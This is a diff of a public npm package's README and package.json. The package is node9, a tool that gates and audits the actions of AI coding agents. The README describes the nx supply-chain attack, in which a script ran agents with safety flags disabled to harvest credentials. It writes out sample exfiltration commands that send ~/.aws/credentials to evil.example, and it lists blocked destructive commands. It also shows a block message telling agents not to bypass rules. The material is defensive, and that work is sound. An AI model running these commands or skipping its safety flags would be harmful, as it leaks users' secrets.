node9-ai 2.14.3 โ 2.16.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +159 -93
- package/package.json +29 -10
package/README.md
CHANGED
|
@@ -1,27 +1,81 @@
|
|
|
1
|
-
<h1 align="center">๐ก๏ธ
|
|
2
|
-
<p align="center"
|
|
1
|
+
<h1 align="center">๐ก๏ธ node9</h1>
|
|
2
|
+
<p align="center">IAM for your AI agents</p>
|
|
3
|
+
<p align="center"><strong>Your AI agents can reach Slack, GitHub, email, and your database.<br />node9 decides what they may do with each one.</strong></p>
|
|
3
4
|
<p align="center">
|
|
4
5
|
<a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/v/node9-ai.svg" alt="npm version" /></a>
|
|
5
6
|
<a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/dm/node9-ai.svg" alt="monthly downloads" /></a>
|
|
6
7
|
<a href="https://opensource.org/licenses/Apache-2.0"><img src="https://img.shields.io/badge/License-Apache%202.0-blue.svg" alt="License: Apache 2.0" /></a>
|
|
7
8
|
<a href="https://node9.ai/docs"><img src="https://img.shields.io/badge/docs-node9.ai-blue" alt="Documentation" /></a>
|
|
8
9
|
<a href="https://www.bestpractices.dev/projects/14454"><img src="https://www.bestpractices.dev/projects/14454/badge" alt="OpenSSF Best Practices" /></a>
|
|
10
|
+
<a href="https://scorecard.dev/viewer/?uri=github.com/node9-ai/node9-proxy"><img src="https://api.scorecard.dev/projects/github.com/node9-ai/node9-proxy/badge" alt="OpenSSF Scorecard" /></a>
|
|
9
11
|
<a href="https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml"><img src="https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K" alt="node9 self-scanned" /></a>
|
|
10
12
|
</p>
|
|
11
13
|
|
|
12
|
-
|
|
14
|
+
## The problem
|
|
15
|
+
|
|
16
|
+
In August 2025, compromised releases of the
|
|
17
|
+
[`nx` build tool](https://github.com/advisories/GHSA-cxm3-wv7p-598c) shipped a post-install
|
|
18
|
+
script that looked for AI coding agents already installed on the developer's machine, then ran
|
|
19
|
+
them with their own safety flags turned off (`--dangerously-skip-permissions`, `--yolo`,
|
|
20
|
+
`--trust-all-tools`) to enumerate SSH keys, cloud credentials and wallet files and write the list
|
|
21
|
+
to disk. The script pushed the results to public repositories inside the victims' own GitHub
|
|
22
|
+
accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm
|
|
23
|
+
tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was
|
|
24
|
+
told.
|
|
25
|
+
|
|
26
|
+
The agent was not the attacker. The agent was the tool, and nothing stood between it and the
|
|
27
|
+
files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays
|
|
28
|
+
held even when the agent was started with permissions skipped.
|
|
29
|
+
|
|
30
|
+
## What node9 does about it
|
|
31
|
+
|
|
32
|
+
node9 sits between the agent and every tool it calls. The credential jail (`~/.ssh`, `~/.aws`,
|
|
33
|
+
`.env` files, private keys) is on by default, and a read of one of those paths does not run.
|
|
34
|
+
The agent is stopped, told why, and the decision comes to you:
|
|
35
|
+
|
|
36
|
+
```text
|
|
37
|
+
NODE9: Action blocked by security policy.
|
|
38
|
+
INSTRUCTIONS:
|
|
39
|
+
- Do NOT retry this exact command or attempt to bypass the rule.
|
|
40
|
+
- Pivot to a non-destructive or read-only alternative.
|
|
41
|
+
- Inform the user which security rule was triggered and ask how to proceed.
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
The command is parsed as a shell AST, not matched as text, so wrapping the read does not help.
|
|
45
|
+
`echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example` is judged as a read
|
|
46
|
+
of `~/.aws/credentials`, not as an `echo`.
|
|
47
|
+
|
|
48
|
+
node9 is a **gate**. A held action does not run while it waits for you, and if you never answer
|
|
49
|
+
it stays blocked. Everything else is allowed and written to the record.
|
|
50
|
+
|
|
51
|
+
**What it does not do:** with egress control off, which is the default, a command that hands a
|
|
52
|
+
file straight to the network, such as `curl -d @~/.aws/credentials`, is not treated as a read of
|
|
53
|
+
that file. `node9 egress protect` gates destinations as well, and it covers shell commands only.
|
|
54
|
+
|
|
55
|
+
## Verify it yourself
|
|
56
|
+
|
|
57
|
+
```bash
|
|
58
|
+
npx node9-ai scan # every past agent session on this machine, ~10s, nothing uploads
|
|
59
|
+
npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow
|
|
60
|
+
npx node9-ai posture # this machine's exposure in 60s, nothing uploads
|
|
61
|
+
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
---
|
|
65
|
+
|
|
66
|
+
Three jobs, one tool: **discover** what your agents have already done, **protect** against risky actions in real time, and **review** what happened over any time window.
|
|
13
67
|
|
|
14
68
|
Works with **Claude Code ยท Codex CLI ยท Antigravity (agy) ยท GitHub Copilot CLI ยท Gemini CLI ยท Cursor ยท Windsurf ยท VSCode ยท Claude Desktop ยท Opencode ยท Pi ยท Hermes Agent ยท any MCP server**.
|
|
15
69
|
|
|
16
|
-
## What
|
|
70
|
+
## What node9 does
|
|
17
71
|
|
|
18
|
-
- ๐ **Discover
|
|
19
|
-
- ๐ก **Protect
|
|
20
|
-
- ๐ **Review
|
|
72
|
+
- ๐ **Discover**: scan every past AI session for credential leaks, agent loops, blocked operations, and every secret on disk an agent could reach right now
|
|
73
|
+
- ๐ก **Protect**: review or block risky commands before they run, such as `rm -rf`, `git push --force`, `DROP TABLE`, credential reads, `curl | bash`, and AWS/GitHub/Stripe key leaks
|
|
74
|
+
- ๐ **Review**: a period-windowed report (today / week / month / 90 days) of cost per agent, top tools, shields fired, and blast radius
|
|
21
75
|
|
|
22
76
|
## Retrospective scan
|
|
23
77
|
|
|
24
|
-
This is my own machine
|
|
78
|
+
This is my own machine, 90 days while building node9. Score 25/100, 5 credential files an AI agent could reach right now.
|
|
25
79
|
|
|
26
80
|
```bash
|
|
27
81
|
npx node9-ai scan # before installation, runs in ~10s, nothing uploads
|
|
@@ -29,19 +83,19 @@ node9 scan # after installation, same output
|
|
|
29
83
|
```
|
|
30
84
|
|
|
31
85
|
<p align="center">
|
|
32
|
-
<img src="https://github.com/user-attachments/assets/7c5b30f1-1ca1-40b4-bfd5-d6671002e98e" width="720" alt="
|
|
86
|
+
<img src="https://github.com/user-attachments/assets/7c5b30f1-1ca1-40b4-bfd5-d6671002e98e" width="720" alt="node9 scan scorecard" />
|
|
33
87
|
</p>
|
|
34
88
|
|
|
35
89
|
## Security posture scorecard
|
|
36
90
|
|
|
37
|
-
`node9 posture` grades how exposed this machine is to a compromised agent
|
|
91
|
+
`node9 posture` grades how exposed this machine is to a compromised agent across isolation, egress, secrets on disk, supply chain, and privilege, and hands you the exact command to fix each finding.
|
|
38
92
|
|
|
39
93
|
```bash
|
|
40
94
|
node9 posture # scorecard with the #1 risk and a fix for every finding
|
|
41
95
|
node9 posture --ship # send a redacted snapshot to your node9 dashboard (fleet view)
|
|
42
96
|
```
|
|
43
97
|
|
|
44
|
-
Findings are grouped by **who can fix them**: ๐ the ones node9 reduces (just run the command) and ๐งฑ the ones only you can. Each carries a plain-language what / why / who and a real remediation
|
|
98
|
+
Findings are grouped by **who can fix them**: ๐ the ones node9 reduces (just run the command) and ๐งฑ the ones only you can. Each carries a plain-language what / why / who and a real remediation. For example, the "agent runs unsandboxed on the host" finding points straight at `node9 sandbox run` (below).
|
|
45
99
|
|
|
46
100
|
```text
|
|
47
101
|
๐ก๏ธ Node9 Posture โ agent on this host Score: 100/100 (Good)
|
|
@@ -69,13 +123,13 @@ Findings are grouped by **who can fix them**: ๐ the ones node9 reduces (just
|
|
|
69
123
|
Track this across your fleet & keep it green โ node9.ai
|
|
70
124
|
```
|
|
71
125
|
|
|
72
|
-
## Scan a repo
|
|
126
|
+
## Scan a repo: agent-CI security
|
|
73
127
|
|
|
74
|
-
`node9 scan-repo` checks any repo (or a local folder) for ways an AI agent wired into GitHub Actions could be **hijacked by an outsider
|
|
128
|
+
`node9 scan-repo` checks any repo (or a local folder) for ways an AI agent wired into GitHub Actions could be **hijacked by an outsider**: injectable workflows, agent-reachable secrets, unpinned MCP servers, over-broad agent config, and poisoned instruction files. Static and parse-only: it reads only committed config, never executes repo code. No install or token needed for public repos.
|
|
75
129
|
|
|
76
130
|
```bash
|
|
77
131
|
npx node9-ai scan-repo <owner/repo> # any public repo, no install
|
|
78
|
-
node9 scan-repo . # a local checkout
|
|
132
|
+
node9 scan-repo . # a local checkout, no network
|
|
79
133
|
node9 scan-repo <owner/repo> --json # machine-readable
|
|
80
134
|
```
|
|
81
135
|
|
|
@@ -100,12 +154,12 @@ What it checks:
|
|
|
100
154
|
| Check | Flags |
|
|
101
155
|
| -------- | -------------------------------------------------------------------------------- |
|
|
102
156
|
| **CI-1** | committed agent config that pre-authorizes broad tools or runs remote hooks |
|
|
103
|
-
| **CI-2** | injectable agent workflows
|
|
157
|
+
| **CI-2** | injectable agent workflows: an outsider can trigger the agent and hijack it |
|
|
104
158
|
| **CI-3** | unpinned / `@latest` MCP servers or inline credentials (supply chain) |
|
|
105
159
|
| **CI-4** | secrets an injected agent could exfiltrate |
|
|
106
160
|
| **CI-6** | poisoned or dangerous instructions in `CLAUDE.md` / `AGENTS.md` / `.cursorrules` |
|
|
107
161
|
|
|
108
|
-
**Gate every PR
|
|
162
|
+
**Gate every PR.** The same engine runs as a GitHub Action, so a hijackable config can't get merged:
|
|
109
163
|
|
|
110
164
|
```yaml
|
|
111
165
|
# .github/workflows/agent-security.yml
|
|
@@ -127,20 +181,20 @@ Running it? Add the **[`scanned by node9` badge](https://node9.ai/docs/badges)**
|
|
|
127
181
|
## Live monitoring
|
|
128
182
|
|
|
129
183
|
<p align="center">
|
|
130
|
-
<img src="https://github.com/user-attachments/assets/4661da97-c174-4bae-ae54-4c52a1d69213" width="720" alt="
|
|
184
|
+
<img src="https://github.com/user-attachments/assets/4661da97-c174-4bae-ae54-4c52a1d69213" width="720" alt="node9 monitor dashboard" />
|
|
131
185
|
</p>
|
|
132
186
|
|
|
133
187
|
`node9 monitor` opens an interactive terminal dashboard with two views:
|
|
134
188
|
|
|
135
|
-
- **`[1]` Realtime
|
|
136
|
-
- **`[2]` Report
|
|
189
|
+
- **`[1]` Realtime**: live activity, approvals, security alerts, current risk score
|
|
190
|
+
- **`[2]` Report**: period-windowed summary of cost, top tools, shields fired, blast radius
|
|
137
191
|
|
|
138
192
|
## Report
|
|
139
193
|
|
|
140
|
-
Press `[2]` in monitor for a period-windowed summary. Toggle the window with `[T]oday` ยท `[W]eek` ยท `[M]onth` ยท `[N]inety
|
|
194
|
+
Press `[2]` in monitor for a period-windowed summary. Toggle the window with `[T]oday` ยท `[W]eek` ยท `[M]onth` ยท `[N]inety`. Same panels as the scan above, driven by your post-install audit log.
|
|
141
195
|
|
|
142
196
|
<p align="center">
|
|
143
|
-
<img src="https://github.com/user-attachments/assets/66c02a72-e477-443d-807f-d65a21d096cd" width="720" alt="
|
|
197
|
+
<img src="https://github.com/user-attachments/assets/66c02a72-e477-443d-807f-d65a21d096cd" width="720" alt="node9 monitor [2] Report" />
|
|
144
198
|
</p>
|
|
145
199
|
|
|
146
200
|
```bash
|
|
@@ -164,7 +218,7 @@ node9 login # connect this machine to your workspace (approve it in the bro
|
|
|
164
218
|
node9 doctor # verify everything is wired and reporting
|
|
165
219
|
```
|
|
166
220
|
|
|
167
|
-
Requires Node.js
|
|
221
|
+
Requires Node.js 22+.
|
|
168
222
|
|
|
169
223
|
`init` on its own gives you full local enforcement: rules, shields, DLP and
|
|
170
224
|
approvals all work offline, on this machine.
|
|
@@ -178,42 +232,39 @@ Mission Control, so the dashboard stays empty.
|
|
|
178
232
|
`node9 logout` disconnects a machine again. It revokes that machine's key;
|
|
179
233
|
local enforcement keeps running.
|
|
180
234
|
|
|
181
|
-
## Shields
|
|
235
|
+
## Shields and apps
|
|
182
236
|
|
|
183
|
-
|
|
237
|
+
A **shield** is a curated rule pack for a service an agent touches: Postgres, MongoDB, Redis,
|
|
238
|
+
AWS, Kubernetes, Docker, GitHub, the shell, the filesystem, and the credential jail. Three of
|
|
239
|
+
them, `project-jail`, `bash-safe` and `filesystem`, are on after `node9 init`. The rest you
|
|
240
|
+
enable per service. Each shield mixes hard blocks with actions that come to you for review, and
|
|
241
|
+
the docs say which is which, rule by rule.
|
|
184
242
|
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
| `project-jail` | Blocks reads of `~/.ssh`, `~/.aws`, `.env`, credentials via Bash and Read tool | `node9 shield enable project-jail` |
|
|
188
|
-
| `bash-safe` | `curl \| bash`, `rm -rf /`, disk overwrite, `eval` of remote | `node9 shield enable bash-safe` |
|
|
189
|
-
| `postgres` | `DROP TABLE`, `TRUNCATE`, `DROP COLUMN`, `DELETE` without `WHERE` | `node9 shield enable postgres` |
|
|
190
|
-
| `mongodb` | `dropDatabase`, `drop()`, `deleteMany({})`, index drops | `node9 shield enable mongodb` |
|
|
191
|
-
| `redis` | `FLUSHALL`, `FLUSHDB`, `CONFIG SET` on a live server | `node9 shield enable redis` |
|
|
192
|
-
| `aws` | S3 delete, EC2 terminate, IAM changes, RDS destroy | `node9 shield enable aws` |
|
|
193
|
-
| `k8s` | namespace delete, `helm uninstall`, cluster role wipes | `node9 shield enable k8s` |
|
|
194
|
-
| `docker` | `system prune`, `volume prune`, `rm -f` containers | `node9 shield enable docker` |
|
|
195
|
-
| `github` | `gh repo delete`, remote branch deletion, settings changes | `node9 shield enable github` |
|
|
196
|
-
| `filesystem` | `chmod 777`, writes under `/etc/`, `/boot/`, `/usr/` | `node9 shield enable filesystem` |
|
|
197
|
-
| `mcp-tool-gating` | unapproved MCP tools silently activating new capabilities | `node9 shield enable mcp-tool-gating` |
|
|
243
|
+
Any **MCP app** your agents use, Gmail, Slack, your database, is governed tool by tool from the
|
|
244
|
+
Apps page in the dashboard: which tools an agent may call, which need review, which are off.
|
|
198
245
|
|
|
199
246
|
```bash
|
|
200
|
-
node9 shield list
|
|
247
|
+
node9 shield list # every shield and its status
|
|
248
|
+
node9 shield enable postgres # or enable it fleet-wide from the dashboard
|
|
201
249
|
```
|
|
202
250
|
|
|
203
|
-
|
|
251
|
+
The full list, with what each shield blocks and what it sends to review:
|
|
252
|
+
**[node9.ai/docs/shields](https://node9.ai/docs/shields)**.
|
|
253
|
+
|
|
254
|
+
## Always on, no config needed
|
|
204
255
|
|
|
205
|
-
- **Git
|
|
206
|
-
- **SQL
|
|
207
|
-
- **Shell
|
|
208
|
-
- **DLP
|
|
209
|
-
- **Response DLP
|
|
210
|
-
- **Skills pinning
|
|
256
|
+
- **Git**: catches `git push --force`, `git reset --hard`, `git clean -fd`
|
|
257
|
+
- **SQL**: catches `DELETE` / `UPDATE` without `WHERE`, `DROP TABLE`, `TRUNCATE`
|
|
258
|
+
- **Shell**: catches `curl | bash`, unauthorized `sudo`
|
|
259
|
+
- **DLP**: flags AWS keys, GitHub tokens, Stripe keys, PEM private keys in any tool argument, file contents, or shell config (`~/.zshrc`, `~/.bashrc`)
|
|
260
|
+
- **Response DLP**: a background scanner reads Claude's conversation history and alerts you if Claude _wrote_ a secret in its response text
|
|
261
|
+
- **Skills pinning**: SHA-256 verification of installed Claude skills / plugins between sessions
|
|
211
262
|
|
|
212
|
-
## Review prompts
|
|
263
|
+
## Review prompts: approve inline, in your agent
|
|
213
264
|
|
|
214
|
-
When node9 flags an action for **review** (e.g. `git push --force`, a `DROP TABLE`), the approve/deny prompt renders **inline in the agent conversation
|
|
265
|
+
When node9 flags an action for **review** (e.g. `git push --force`, a `DROP TABLE`), the approve/deny prompt renders **inline in the agent conversation**: no frozen session, no separate terminal, no hook-timeout race. node9 still runs the full evaluator and makes the decision; only the prompt _surface_ moves to the agent.
|
|
215
266
|
|
|
216
|
-
- **On by default** for **Claude Code** and **GitHub Copilot CLI
|
|
267
|
+
- **On by default** for **Claude Code** and **GitHub Copilot CLI**, the agents whose hook contract honors a native `ask`. Every other agent (Codex, Gemini, Antigravity, Hermes, Cursor, OpenCode, Pi) uses node9's own approver.
|
|
217
268
|
- **Control it** with `reviewChannel` in `~/.node9/config.json` (or `--no-ask` on the hook):
|
|
218
269
|
|
|
219
270
|
```jsonc
|
|
@@ -224,28 +275,28 @@ When node9 flags an action for **review** (e.g. `git push --force`, a `DROP TABL
|
|
|
224
275
|
}
|
|
225
276
|
```
|
|
226
277
|
|
|
227
|
-
- **Team setups:** when a cloud/team approver is configured (`approvers.cloud: true`), reviews route to that approver instead
|
|
278
|
+
- **Team setups:** when a cloud/team approver is configured (`approvers.cloud: true`), reviews route to that approver instead. node9 won't let an inline self-approval bypass routed/second-party approval.
|
|
228
279
|
|
|
229
|
-
## Sandbox
|
|
280
|
+
## Sandbox: run an agent in a jail
|
|
230
281
|
|
|
231
|
-
When watching isn't enough, **`node9 sandbox`** runs the agent inside a disposable container with a **kernel-enforced egress allowlist** and **scoped mounts
|
|
282
|
+
When watching isn't enough, **`node9 sandbox`** runs the agent inside a disposable container with a **kernel-enforced egress allowlist** and **scoped mounts**, while node9's hooks govern and audit every tool call _inside_ the box. The hard version of protection: the agent can only touch the folder you mount and reach the hosts you allow; everything else is dropped at the kernel.
|
|
232
283
|
|
|
233
284
|
```bash
|
|
234
285
|
cd ~/my-project
|
|
235
|
-
node9 sandbox new # write node9.sandbox.yaml
|
|
286
|
+
node9 sandbox new # write node9.sandbox.yaml: what to mount + which hosts to allow
|
|
236
287
|
node9 sandbox run # build + boot the jailed agent (your project at /workspace)
|
|
237
288
|
node9 sandbox tail # watch the agent's actions live, from the host
|
|
238
289
|
```
|
|
239
290
|
|
|
240
|
-
- **Disposable
|
|
241
|
-
- **Same policy
|
|
242
|
-
- **Closes the posture loop
|
|
291
|
+
- **Disposable**: the container is destroyed on exit; your project edits land on your real disk, nothing else survives.
|
|
292
|
+
- **Same policy**: your existing shields / egress rules / approvals apply inside the box, streamed to the same audit log and dashboard.
|
|
293
|
+
- **Closes the posture loop**: running it flips the Isolation / Egress findings green.
|
|
243
294
|
|
|
244
|
-
Honest scope (Phase 1): single container, **Claude first** (Codex next); the agent still holds its _own_ credentials in the box (the egress
|
|
295
|
+
Honest scope (Phase 1): single container, **Claude first** (Codex next); the agent still holds its _own_ credentials in the box (the kernel egress allowlist confines them to the allowed hosts). _"The agent never holds a secret"_ is the credential-broker phase on the roadmap. Requires Docker.
|
|
245
296
|
|
|
246
297
|
## MCP gateway
|
|
247
298
|
|
|
248
|
-
Wrap any MCP server transparently. The agent sees the same server
|
|
299
|
+
Wrap any MCP server transparently. The agent sees the same server. node9 intercepts every tool call.
|
|
249
300
|
|
|
250
301
|
```json
|
|
251
302
|
{
|
|
@@ -258,18 +309,18 @@ Wrap any MCP server transparently. The agent sees the same server โ Node9 inte
|
|
|
258
309
|
}
|
|
259
310
|
```
|
|
260
311
|
|
|
261
|
-
Or just run `node9 init
|
|
312
|
+
Or just run `node9 init`, which wraps your existing MCP servers automatically.
|
|
262
313
|
|
|
263
314
|
<details>
|
|
264
|
-
<summary><strong>๐ MCP tool pinning
|
|
315
|
+
<summary><strong>๐ MCP tool pinning: rug-pull defense</strong></summary>
|
|
265
316
|
|
|
266
|
-
MCP servers can change their tool definitions between sessions. A compromised or malicious server could silently add, remove, or modify tools after you first trusted it
|
|
317
|
+
MCP servers can change their tool definitions between sessions. A compromised or malicious server could silently add, remove, or modify tools after you first trusted it, a **rug pull** attack.
|
|
267
318
|
|
|
268
|
-
|
|
319
|
+
node9 pins tool definitions on first use:
|
|
269
320
|
|
|
270
|
-
1. **First connection
|
|
271
|
-
2. **Subsequent connections
|
|
272
|
-
3. **Corrupt pin state
|
|
321
|
+
1. **First connection**: the gateway records a SHA-256 hash of every tool's name, description, and schema
|
|
322
|
+
2. **Subsequent connections**: the hash is compared; if tools changed, the session is **quarantined** and every tool call is blocked until a human reviews and approves the change
|
|
323
|
+
3. **Corrupt pin state**: fails closed (blocks), never silently re-trusts
|
|
273
324
|
|
|
274
325
|
```bash
|
|
275
326
|
node9 mcp pin list # show all pinned servers and hashes
|
|
@@ -283,13 +334,13 @@ node9 mcp pin reset # clear all pins
|
|
|
283
334
|
|
|
284
335
|
Beyond the three flow commands above (`scan` / `monitor` / `report`):
|
|
285
336
|
|
|
286
|
-
| Command | What it shows | When to use
|
|
287
|
-
| ---------------- | --------------------------------------------------------- |
|
|
288
|
-
| `node9 blast` | What an AI agent can reach right now
|
|
289
|
-
| `node9 tail` | Live stream of every tool call (text-only, no TUI) | Piping into other tools, CI, logs
|
|
290
|
-
| `node9 sessions` | Session history with prompt, tool trace, and cost | Reviewing a handoff or past work
|
|
291
|
-
| `node9 dlp` | Credential-leak findings in Claude response text | Any time a DLP desktop alert fires
|
|
292
|
-
| `node9 mask` | Redact plaintext secrets from local session history files | After a DLP finding
|
|
337
|
+
| Command | What it shows | When to use |
|
|
338
|
+
| ---------------- | --------------------------------------------------------- | -------------------------------------- |
|
|
339
|
+
| `node9 blast` | What an AI agent can reach right now: files, creds, env | First thing to run on any machine |
|
|
340
|
+
| `node9 tail` | Live stream of every tool call (text-only, no TUI) | Piping into other tools, CI, logs |
|
|
341
|
+
| `node9 sessions` | Session history with prompt, tool trace, and cost | Reviewing a handoff or past work |
|
|
342
|
+
| `node9 dlp` | Credential-leak findings in Claude response text | Any time a DLP desktop alert fires |
|
|
343
|
+
| `node9 mask` | Redact plaintext secrets from local session history files | After a DLP finding, cleans local disk |
|
|
293
344
|
|
|
294
345
|
Plus a **live HUD** in your Claude Code statusline:
|
|
295
346
|
|
|
@@ -299,25 +350,25 @@ Plus a **live HUD** in your Claude Code statusline:
|
|
|
299
350
|
๐ 2 CLAUDE.md | 8 rules | 3 MCPs | 4 hooks
|
|
300
351
|
```
|
|
301
352
|
|
|
302
|
-
## Reading the data
|
|
353
|
+
## Reading the data: what the numbers mean
|
|
303
354
|
|
|
304
|
-
|
|
355
|
+
node9 surfaces the signal. Here are the patterns worth knowing:
|
|
305
356
|
|
|
306
|
-
| Signal | Likely meaning
|
|
307
|
-
| ---------------------------------------------- |
|
|
308
|
-
| `Would have blocked` โฅ 5 in a week | Agent is attempting high-impact ops; shields are worth reviewing
|
|
309
|
-
| Single `review-git-push` rule >50% of findings | Your own rule is firing as intended
|
|
310
|
-
| DLP finding in `user-prompt` tool | You pasted a secret into your own prompt
|
|
311
|
-
| Agent Loop ร50+ on same file | Agent stuck in edit/test/fix cycle
|
|
312
|
-
| MCP tool pin mismatch | Server changed its tools
|
|
313
|
-
| Large MCP response warning | That server is inflating your context window for every subsequent turn
|
|
314
|
-
| `Response DLP` alert | Claude wrote a secret in its response text
|
|
315
|
-
| DLP finding in `tool-result` | Claude read a file containing a secret (`.env`, credentials)
|
|
316
|
-
| DLP finding in `[Shell]` | Plaintext secret in `~/.zshrc` or `~/.bashrc
|
|
357
|
+
| Signal | Likely meaning |
|
|
358
|
+
| ---------------------------------------------- | ------------------------------------------------------------------------------------------------- |
|
|
359
|
+
| `Would have blocked` โฅ 5 in a week | Agent is attempting high-impact ops; shields are worth reviewing |
|
|
360
|
+
| Single `review-git-push` rule >50% of findings | Your own rule is firing as intended: not a risk, just supervision |
|
|
361
|
+
| DLP finding in `user-prompt` tool | You pasted a secret into your own prompt. Rotate the key |
|
|
362
|
+
| Agent Loop ร50+ on same file | Agent stuck in an edit/test/fix cycle. Check context or slow down |
|
|
363
|
+
| MCP tool pin mismatch | Server changed its tools. Review before re-trusting |
|
|
364
|
+
| Large MCP response warning | That server is inflating your context window for every subsequent turn |
|
|
365
|
+
| `Response DLP` alert | Claude wrote a secret in its response text. Not blocked, rotate immediately |
|
|
366
|
+
| DLP finding in `tool-result` | Claude read a file containing a secret (`.env`, credentials). Rotate the key and run `node9 mask` |
|
|
367
|
+
| DLP finding in `[Shell]` | Plaintext secret in `~/.zshrc` or `~/.bashrc`. Every AI session can see it |
|
|
317
368
|
|
|
318
369
|
One-off signals are normal; persistent patterns are what you act on.
|
|
319
370
|
|
|
320
|
-
## Python SDK
|
|
371
|
+
## Python SDK: govern any Python agent
|
|
321
372
|
|
|
322
373
|
```python
|
|
323
374
|
from node9 import configure, protect
|
|
@@ -329,28 +380,43 @@ def run_command(cmd: str) -> str:
|
|
|
329
380
|
...
|
|
330
381
|
```
|
|
331
382
|
|
|
332
|
-
**[Python SDK โ](https://github.com/node9-ai/node9-python)** ยท **[
|
|
383
|
+
**[Python SDK โ](https://github.com/node9-ai/node9-python)** ยท **[GitHub Action โ](https://github.com/marketplace/actions/node9-agent-security)**
|
|
333
384
|
|
|
334
385
|
## Under the hood
|
|
335
386
|
|
|
336
|
-
- **Scan** reads raw agent history from `~/.claude/projects/`, `~/.gemini/tmp/`, `~/.gemini/antigravity-*/brain/`, `~/.copilot/session-state/`, `~/.codex/sessions
|
|
387
|
+
- **Scan** reads raw agent history from `~/.claude/projects/`, `~/.gemini/tmp/`, `~/.gemini/antigravity-*/brain/`, `~/.copilot/session-state/`, `~/.codex/sessions/`. No API calls, fully offline
|
|
337
388
|
- **Runtime** intercepts tool calls via pre-execution hooks (Claude Code, Codex, Antigravity, GitHub Copilot CLI, Gemini CLI, Opencode, Pi) or via the MCP gateway (Cursor, Windsurf, VSCode, Claude Desktop). All decisions land in `~/.node9/audit.log` atomically.
|
|
338
389
|
- **MCP gateway** is a stdio proxy; intercepts `tools/list` + `tools/call` JSON-RPC, forwards the rest
|
|
339
|
-
- **Policy engine** uses [mvdan-sh](https://github.com/mvdan/sh) for bash AST analysis
|
|
340
|
-
- **Sandbox** generates a Dockerfile + entrypoint that seal an `ipset`/`iptables` deny-by-default egress
|
|
390
|
+
- **Policy engine** uses [mvdan-sh](https://github.com/mvdan/sh) for bash AST analysis, which defeats obfuscation via backslash escaping, variable substitution, eval of remote download
|
|
391
|
+
- **Sandbox** generates a Dockerfile + entrypoint that seal an `ipset`/`iptables` deny-by-default egress allowlist, then drop to a non-root agent with node9's daemon + hooks running inside; only the agent's credential file is mounted, never your whole `~/.claude`
|
|
392
|
+
|
|
393
|
+
## Learn
|
|
394
|
+
|
|
395
|
+
Background reading, written to stand on its own. Each page says what node9 does not cover.
|
|
396
|
+
|
|
397
|
+
- **[What can a hijacked agent do?](https://node9.ai/learn/what-can-a-hijacked-agent-do)**: the blast radius of one compromised session
|
|
398
|
+
- **[How an AI agent leaks a secret](https://node9.ai/learn/ai-agent-secret-exfiltration)**: the paths a credential actually takes out
|
|
399
|
+
- **[Claude Code security](https://node9.ai/learn/claude-code-security)**: hooks, permission modes, and what they do not stop
|
|
400
|
+
- **[MCP security](https://node9.ai/learn/mcp-security)**: the tool surface an MCP server opens
|
|
401
|
+
- **[OWASP Agentic Top 10](https://node9.ai/learn/owasp-agentic-top-10)**: the list, mapped to real controls
|
|
402
|
+
|
|
403
|
+
## Compare
|
|
404
|
+
|
|
405
|
+
- **[node9 against the alternatives](https://node9.ai/compare)**: a matrix, including the rows where node9 scores worse
|
|
406
|
+
- **[Per-agent coverage](https://node9.ai/agents)**: what is governed on each of the twelve supported agents
|
|
341
407
|
|
|
342
408
|
## Full docs
|
|
343
409
|
|
|
344
|
-
Config reference, smart rules, stateful rules, trusted hosts, approval modes, CLI reference
|
|
410
|
+
Config reference, smart rules, stateful rules, trusted hosts, approval modes, CLI reference, at **[node9.ai/docs](https://node9.ai/docs)**.
|
|
345
411
|
|
|
346
412
|
## Related projects
|
|
347
413
|
|
|
348
|
-
- **[node9-python](https://github.com/node9-ai/node9-python)
|
|
349
|
-
- **[node9
|
|
414
|
+
- **[node9-python](https://github.com/node9-ai/node9-python)**: Python SDK
|
|
415
|
+
- **[node9 Agent Security](https://github.com/marketplace/actions/node9-agent-security)**: the GitHub Action, `uses: node9-ai/node9-proxy@v2`, gates every PR with the same engine
|
|
350
416
|
|
|
351
417
|
## Enterprise
|
|
352
418
|
|
|
353
|
-
**
|
|
419
|
+
**node9 Pro** adds governance locking, SAML/SSO, central audit export, and VPC deployment. See [node9.ai](https://node9.ai).
|
|
354
420
|
|
|
355
421
|
## License
|
|
356
422
|
|
package/package.json
CHANGED
|
@@ -1,15 +1,34 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "node9-ai",
|
|
3
|
-
"version": "2.
|
|
4
|
-
"description": "
|
|
3
|
+
"version": "2.16.0",
|
|
4
|
+
"description": "IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.",
|
|
5
5
|
"keywords": [
|
|
6
|
-
"ai",
|
|
7
|
-
"security",
|
|
8
|
-
"
|
|
9
|
-
"
|
|
6
|
+
